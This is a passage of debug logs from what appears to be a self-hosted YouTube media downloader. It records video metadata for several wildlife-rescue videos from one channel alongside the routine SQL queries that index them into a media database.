abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 2085, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", "id" => "X19-y45lt6o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=X19-y45lt6o", "playlist_index" => 2, "timestamp" => 1774699202, "title" => "I Found Deadly Fish in an Abandoned Pool…", "upload_date" => "20260328"} 08:29:06.248 [debug] QUERY OK source="sources" db=0.4ms idle=460.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:06.249 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=461.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:06.250 [debug] QUERY OK source="media_items" db=0.9ms idle=462.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-28 12:00:02Z], 33] 08:29:06.252 [debug] QUERY OK source="media_items" db=1.2ms idle=463.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "ae92eac3-26b5-48c6-a693-6bb65ee846c3", "X19-y45lt6o", false, "https://www.youtube.com/watch?v=X19-y45lt6o", 33, [], 2085, false, 2, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, false, 98, ~U[2026-03-28 12:00:02Z], ~U[2026-06-02 12:29:06Z], ~U[2026-06-02 12:29:06Z], "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "X19-y45lt6o", "https://www.youtube.com/watch?v=X19-y45lt6o", 33, 2085, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, ~U[2026-03-28 12:00:02Z]] 08:29:06.253 [debug] QUERY OK source="sources" db=0.2ms idle=25.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:06.253 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:06.253 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [124092] 08:29:06.253 [debug] Current batch of media processed. Will check again in 1000ms 08:29:07.254 [debug] Current batch of media processed. Will check again in 1000ms 08:29:08.255 [debug] Current batch of media processed. Will check again in 1000ms 08:29:09.257 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 8319, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", "id" => "mEI05SrXMqE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=mEI05SrXMqE", "playlist_index" => 3, "timestamp" => 1768742879, "title" => "The Craziest Sewer Monsters I’ve Ever Found…", "upload_date" => "20260118"} 08:29:09.258 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1470.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:09.259 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1471.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:09.261 [debug] QUERY OK source="media_items" db=1.4ms idle=1472.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-18 13:27:59Z], 33] 08:29:09.262 [debug] QUERY OK source="media_items" db=0.6ms idle=1030.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "b04139c1-1e48-4fb5-8d80-5450af9cc795", "mEI05SrXMqE", false, "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, [], 8319, false, 3, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, false, 98, ~U[2026-01-18 13:27:59Z], ~U[2026-06-02 12:29:09Z], ~U[2026-06-02 12:29:09Z], "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "mEI05SrXMqE", "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, 8319, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, ~U[2026-01-18 13:27:59Z]] 08:29:09.262 [debug] QUERY OK source="sources" db=0.2ms idle=29.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:09.263 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:09.263 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118970] 08:29:09.263 [debug] Current batch of media processed. Will check again in 1000ms 08:29:10.264 [debug] Current batch of media processed. Will check again in 1000ms 08:29:11.266 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 2511, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", "id" => "3h5e0vXKQws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3h5e0vXKQws", "playlist_index" => 4, "timestamp" => 1763816459, "title" => "I Found Deadly Animals in an Abandoned Storage Unit…", "upload_date" => "20251122"} 08:29:11.267 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=479.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:11.269 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=480.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:11.270 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=481.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 13:00:59Z], 33] 08:29:11.272 [debug] QUERY OK source="media_items" db=1.3ms idle=483.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "95e79cff-880b-4a4f-bc70-66823ebd399a", "3h5e0vXKQws", false, "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, [], 2511, false, 4, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, false, 98, ~U[2025-11-22 13:00:59Z], ~U[2026-06-02 12:29:11Z], ~U[2026-06-02 12:29:11Z], "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "3h5e0vXKQws", "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, 2511, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, ~U[2025-11-22 13:00:59Z]] 08:29:11.273 [debug] QUERY OK source="sources" db=0.2ms idle=36.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 